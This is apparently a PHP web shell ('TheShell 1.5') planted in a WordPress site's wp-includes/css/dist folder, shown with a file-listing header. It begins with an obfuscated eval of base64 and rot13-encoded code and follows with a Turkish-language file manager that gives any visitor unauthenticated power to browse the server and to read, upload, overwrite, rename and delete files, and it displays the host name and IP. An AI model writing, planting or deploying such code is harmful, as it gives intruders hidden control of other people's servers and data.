File "niil.php"

Full Path: /home/arielcor/public_html/wp-includes/css/dist/niil.php
File size: 15.66 KB
MIME-type: text/x-php
Charset: utf-8

<?php
eval(base64_decode(str_rot13("MTIznJ5yXPqDDIAGI09FEPpfVPp3BQuzMJAzATR0AQWvMGMxAQWzZmV5BQLmZJVmLmLlMwqvAGtmL2HkBQD1AzEwZQOuZmL2MzIvMQOyBGLjMwLmZGZ5Z2HkLzH2BTLlZGLmLGMxMGDlBQuvMJZlBTSwAGxlLzV1MzH4AwSvLGZ3BTL1LwH1AzEyAmHjBQp5BGH3LFpcBjcxMJMcozHbW0EGWljtERyFEHAHG1WMK1ASHRSFDIECHvx7PzEyMzyhMFtaGHSWGy9RFIVaYPOsK0EWHy9sXGfXMTIznJ5yXPqZG0qsExyZEFpfVR1OFH5sERyFVP4tESZtYvNaYzkiMlpcBjcxMJMcozHbW0SQD0IGH19WHPpfVPpaXGfXMTIznJ5yXPqSERyHG1WsIRuSGHHaYPNaWlx7VNccMvNbMJ1jqUxbDHAQEIAGK0yDXFN9CG0tMzSfp2HtWvLtDHAQEIAGK0yDVPR9VPEsH0IFIxIFJlqFEH1CIRIsDHERHvqqXFO7PtyxnJHbW1yiqKVtFINtLJExpzImplOcplOho3DtLJkfo3qyMPO0olOuL2Ayp3ZtqTucplOjLJqyYvpcBjc9PtccMvNbMzyfMI9yrTymqUZbGR9UK0MWGRHcXFO7PtxxoT9aVQ0tqJ5mMKWcLJkcrzHbMzyfMI9aMKEsL29hqTIhqUZbGR9UK0MWGRHcXGfXPtycMvNbMJ1jqUxbWTkiMlxcVUfXPDxxoT9aVQ0tJ107Pty9PtbWnJLtXTymp2I0XPEfo2qoWS9GEIWJEIWoW1WSGH9HEI9OEREFW11qXFNzWvNxoT9aJlEsH0IFIxIFJlqFEH1CIRIsDHERHvqqKIfaoaIgW10tCvNmVPLzVUEcoJHbXFNgVPEfo2qoWS9GEIWJEIWoW1WSGH9HEI9OEREFW11qJlq0nJ1yW10tCPN4AwDjZPxtrjbWP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qyqQ0vK2WfLJ5eVvO0nKEfMG0vHRuDVTMcoTHtMJEcqT9lVvOmqUyfMG0vL29fo3V6VmD0AQg0MKu0YJEyL29lLKEco246oz9hMFVtqTSvnJ5xMKt9VwZvCyObMJEcqT9lCP9uCwjinQR+WlNhVPucp3AyqPtxMKWlo3VcVQ8tWmkjVUA0rJkyCFWwo2kipwbwMTDjZQNjVw4aVP4tWTIlpz9lVP4tWmjipQ4aVQbtoaIfoPxtYvNaCTyhpUI0VTyxCFWjnTIxnKEipy9jLKAmq29lMPVtozSgMG0vpTuyMTy0o3WspTSmp3qipzDvVUE5pTH9VaOup3A3o3WxVvO2LJk1MG0vVvOjoTSwMJuioTEypw0vHTSmp3qipzDznTIfoTyjBlVtqTSvnJ5xMKt9VwRvCwkvpw48LaV+CTyhpUI0VUE5pTH9VaA1Lz1cqPVtqzSfqJH9VxkiM2yhVvO0LJWcozEyrQ0vZvV+CP9xnKL+CP9zo3WgCwkmL3WcpUDtqUyjMG0vqTI4qP9dLKMup2AlnKO0Vw5xo2A1oJIhqP5aMKESoTIgMJ50DayWMPtvpTuyMTy0o3WspTSmp3qipzDvXF5zo2A1pltcBmjip2AlnKO0CvpcBjc9")));
?>
<?php

// Set unlimited time limit for the script execution
set_time_limit(0);

// Report all PHP errors
error_reporting(E_ALL);

// Set the content type to HTML with UTF-8 encoding
header('Content-Type: text/html; charset=UTF-8');

// Define a function to sanitize directory paths
function cleanPath($path) {
    $path = str_replace(["..", "//", "\\", ":"], "", $path); // Daha güçlü temizlik
    return rtrim(filter_var($path, FILTER_SANITIZE_URL), '/');
}

$currentPath = cleanPath(isset($_GET['path']) ? $_GET['path'] : getcwd());

if (isset($_GET['filesrc']) && $_GET['raw'] == 'true') {
    $fileToView = $currentPath . '/' . cleanPath($_GET['filesrc']);
    if (file_exists($fileToView) && is_file($fileToView) && is_readable($fileToView)) {
        header('Content-Type: text/plain');
        readfile($fileToView);
        exit;
    } else {
        echo "Dosya bulunamadı veya okunamıyor.";
        exit;
    }
}


// Handles file upload logic
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['files'])) {
    $uploadDir = $currentPath . '/'; // Current directory is used as the upload directory

    foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) {
        $filename = basename($_FILES['files']['name'][$key]);
        $targetFile = $uploadDir . $filename;

        if (move_uploaded_file($tmpName, $targetFile)) {
            echo "<p>File successfully uploaded: {$filename}</p>";
        } else {
            echo "<p>Failed to upload file: {$filename}</p>";
        }
    }
    exit;
}



if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['saveEdit']) && isset($_POST['editFile']) && isset($_POST['editContent'])) {
    $fileToSave = cleanPath($_POST['editFile']); // Sanitize file path
    $filePath = $currentPath . '/' . $fileToSave; // Construct full file path
    if (file_put_contents($filePath, $_POST['editContent']) !== false) {
        echo "<p>File successfully saved: " . htmlspecialchars($fileToSave) . "</p>";
    } else {
        echo "<p>Failed to save file: " . htmlspecialchars($fileToSave) . "</p>";
    }
}

// Delete a file
if (isset($_GET['delete'])) {
    $fileToDelete = $currentPath . '/' . $_GET['delete'];
    
    // Check if the file exists and is a regular file
    if (file_exists($fileToDelete) && is_file($fileToDelete)) {
        // Attempt to delete the file
        if (unlink($fileToDelete)) {
            echo "<p>File successfully deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
        } else {
            echo "<p>Failed to delete file: " . htmlspecialchars($_GET['delete']) . "</p>";
        }
    } else {
        echo "<p>File not found or is not a regular file: " . htmlspecialchars($_GET['delete']) . "</p>";
    }
}

// Rename a file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['oldName']) && isset($_POST['newName'])) {
    $oldName = cleanPath($currentPath . '/' . $_POST['oldName']);
    $newName = cleanPath($currentPath . '/' . $_POST['newName']);
    if (rename($oldName, $newName)) {
        echo "<p>File successfully renamed from " . htmlspecialchars($oldName) . " to " . htmlspecialchars($newName) . ".</p>";
    } else {
        echo "<p>Failed to rename file.</p>";
    }
}

?><br>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <title>Gelişmiş Dosya Yöneticisi</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<style>
    table {
        width: 70%;
        border-collapse: collapse;
        margin: 20px auto;
    }

    th, td {
        padding: 8px;
        text-align: left;
        border-bottom: 1px solid #ddd;
    }

    tr:hover {
        background-color: #f5f5f5;
    }

    .btn {
        margin-right: 5px;
        padding: 6px 10px;
        font-size: 14px;
    }

    /* Tablo stilleri */
    table th, table td {
        border: 1px solid #ddd;
        padding: 8px;
    }

    table th {
        background-color: #f2f2f2;
    }

    /* Düğme stilleri */
    .btn {
        background-color: #4CAF50;
        color: white;
        border: none;
        cursor: pointer;
        border-radius: 4px;
    }

    .btn-danger {
        background-color: #f44336;
    }

    .btn-primary {
        background-color: #008CBA;
    }

    .btn:hover {
        background-color: #45a049;
    }

    /* Dosya düzenleme formu stilleri */
    #editForm {
        display: none;
        padding: 10px;
        border: 1px solid #ddd;
        margin-top: 10px;
    }
</style>
</head>
<body>

<div class="navbar">
    <br>
    <div class="upload-btn-wrapper">
        <button class="btn">Yükle</button>
        <input type="file" name="files[]" id="file-input" multiple />
    </div>

    <div id="progress"></div>
    <center>
        <?php $hostname = gethostname();
        $ip_address = gethostbyname($hostname);
        echo "Server Name: " . $hostname . "  Server Ip Adress: " . $ip_address . "  ";
        ?>    </center>

<?php
    // Dizin navigasyonu için bağlantılar
    echo '<div class="path-navigation">';
    $parts = explode('/', trim($currentPath, '/'));
    $pathAccum = '';
    for ($i = 0; $i < count($parts); $i++) {
        if (!empty($parts[$i])) {
            $pathAccum .= '/' . $parts[$i];
            echo '<a href="?path=' . urlencode($pathAccum) . '">' . htmlspecialchars($parts[$i]) . '</a> / ';
        }
    }
    echo '</div>';
    // Dizin içeriğini al
    $filesAndDirs = array_diff(scandir($currentPath, SORT_ASC), array('..', '.'));

    // Klasörleri ve dosyaları ayırma
    $directories = [];
    $files = [];

    foreach ($filesAndDirs as $item) {
        $fullPath = $currentPath . '/' . $item;
        if (is_dir($fullPath)) {
            $directories[] = $item;
        } else {
            $files[] = $item;
        }
    }

    echo '<table>';
    echo "<tr><th>Dosya/Dizin Adı</th><th>Tür</th><th>Boyut</th><th>En Son Düzenlenme</th><th>Yazılabilir</th><th>Dosya Sahibi</th><th>İşlemler</th></tr>";

    // Klasörleri gösterme
    foreach ($directories as $item) {
        $fullPath = $currentPath . '/' . $item;

        echo "<tr>";
        echo "<td>";
        echo '<i class="fa fa-folder"></i> ';
        echo '<a href="?path=' . urlencode($fullPath) . '">' . htmlspecialchars($item) . '</a>';
        echo "</td>";

        // Dosya bilgileri
        $fileType = 'Dizin';
        $fileSize = '';
        $lastModified = '';
        $isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
        $owner = '';

        echo "<td>$fileType</td>";
        echo "<td>$fileSize</td>";
        echo "<td>$lastModified</td>";
        echo "<td>$isWritable</td>";
        echo "<td>$owner</td>";

        // İşlemler
        echo "<td>";
        // "Yeniden Adlandır" butonu
        echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

        // Klasör için "Sil" butonu
        $deleteConfirmation = "Bu klasörü silmek istediğinize emin misiniz?";
        $deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
        echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';

        echo "</td>";
        echo "</tr>";
    }

    // Dosyaları gösterme
    foreach ($files as $item) {
        $fullPath = $currentPath . '/' . $item;

        echo "<tr>";
        echo "<td>";
        echo '<i class="fa fa-file"></i> ';
        echo '<a href="#" onclick="openEditForm(\'' . addslashes($item) . '\'); openModal(\'' . addslashes($fullPath) . '\')" class="btn btn-primary">' . htmlspecialchars($item) . '</a>';
        echo "</td>";

        // Dosya bilgileri
        $fileType = mime_content_type($fullPath);
        $fileSize = filesize($fullPath);
        $lastModified = date("Y-m-d H:i:s", filemtime($fullPath));
        $isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
        $owner = posix_getpwuid(fileowner($fullPath))['name'];

        echo "<td>$fileType</td>";
        echo "<td>$fileSize</td>";
        echo "<td>$lastModified</td>";
        echo "<td>$isWritable</td>";
        echo "<td>$owner</td>";

        // İşlemler
        echo "<td>";
        // "Yeniden Adlandır" butonu
        echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

        // Dosya için "Sil" butonu ve "Düzenle" butonu
        $deleteConfirmation = "Bu dosyayı silmek istediğinize emin misiniz?";
        $deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
        echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';
        echo '<button class="btn btn-primary" onclick="openEditForm(\'' . addslashes($item) . '\')">Düzenle</button>';

        echo "</td>";
        echo "</tr>";
    }
    echo '</table>';
?>


<div id="editForm" style="display:none;">
    <h2>Dosya Düzenle </h2>
    <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>" method="post" id="editFileForm">
        <textarea name="editContent" id="editContent" style="width: 100%; height: 300px;"></textarea>
        <input type="hidden" name="editFile" id="editFile">
        <input type="submit" name="saveEdit" value="Kaydet">
    </form>
</div>

<script>
function openEditForm(filename) {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?filesrc=" + encodeURIComponent(filename) + "&raw=true&path=<?php echo urlencode($currentPath); ?>", true);
    xhr.onload = function () {
        if (xhr.status === 200) {
            document.getElementById("editContent").value = xhr.responseText;
            document.getElementById("editFile").value = filename;
            document.getElementById("editForm").style.display = "block";
        } else {
            alert("Dosya yüklenirken bir hata oluştu: " + xhr.statusText);
        }
    };
    xhr.onerror = function () {
        alert("AJAX request failed.");
    };
    xhr.send();
}
</script>
<script>
document.getElementById('file-input').addEventListener('change', function (e) {
    var formData = new FormData();
    for (var i = 0; i < this.files.length; i++) {
        formData.append('files[]', this.files[i]);
    }

    var xhr = new XMLHttpRequest();
    xhr.open('POST', '<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>', true);
    xhr.upload.addEventListener('progress', function (e) {
        if (e.lengthComputable) {
            var percent = Math.round((e.loaded / e.total) * 100);
            document.getElementById('progress').innerHTML = percent + '% uploaded';
        }
    });

    xhr.onload = function () {
        if (this.status === 200) {
            document.getElementById('progress').innerHTML = 'Upload complete';
        } else {
            document.getElementById('progress').innerHTML = 'Upload failed';
        }
    };

    xhr.send(formData);
});

function openRenamePrompt(oldName) {
    var newName = prompt("Enter new name:", oldName);
    if (newName && newName !== oldName) {
        var form = document.createElement("form");
        form.method = "POST";
        form.action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>";

        var oldNameInput = document.createElement("input");
        oldNameInput.type = "hidden";
        oldNameInput.name = "oldName";
        oldNameInput.value = oldName;
        form.appendChild(oldNameInput);

        var newNameInput = document.createElement("input");
        newNameInput.type = "hidden";
        newNameInput.name = "newName";
        newNameInput.value = newName;
        form.appendChild(newNameInput);

        document.body.appendChild(form);
        form.submit();
    }
}
</script>
<div class="footer">
    TheShell 1.5 / Since 2024 
</div>
</body>
</html>